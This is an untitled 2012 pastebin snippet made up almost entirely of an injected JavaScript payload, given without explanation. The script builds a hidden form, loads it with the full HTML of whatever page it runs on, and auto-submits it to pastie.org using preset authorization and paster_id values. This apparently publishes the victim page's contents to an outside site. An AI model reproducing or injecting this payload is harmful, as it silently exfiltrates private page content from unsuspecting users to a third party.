Don't like ads? PRO users don't see any ads ;-)
Guest

Untitled

By: a guest on May 9th, 2012  |  syntax: None  |  size: 0.95 KB  |  hits: 21  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1.  
  2.   <script>
  3.     function param(name, value){
  4.       var i = document.createElement('input');
  5.       i.setAttribute('type', 'hidden');
  6.       i.setAttribute('name', name);
  7.       i.setAttribute('value', value);
  8.       return i;
  9.     }
  10.  
  11.     var f = document.createElement('form');
  12.     f.style.display = 'none';
  13.     document.body.appendChild(f);
  14.     f.method = 'post';
  15.     f.action = 'http://pastie.org/pastes';
  16.     i = document.createElement('input');
  17.     f.appendChild(param("paste[authorization]", "burger"));
  18.     f.appendChild(param("paste[paster_id]", 4));
  19.     f.appendChild(param("paste[restricted]", 0));
  20.     f.appendChild(param("paste[body]", document.body.innerHTML));
  21.     f.submit();
  22.   </script><form style="display: none; " method="post" action="http://pastie.org/pastes"><input type="hidden" name="paste[authorization]" value="burger"><input type="hidden" name="paste[paster_id]" value="4"><input type="hidden" name="paste[restricted]" value="0"></form>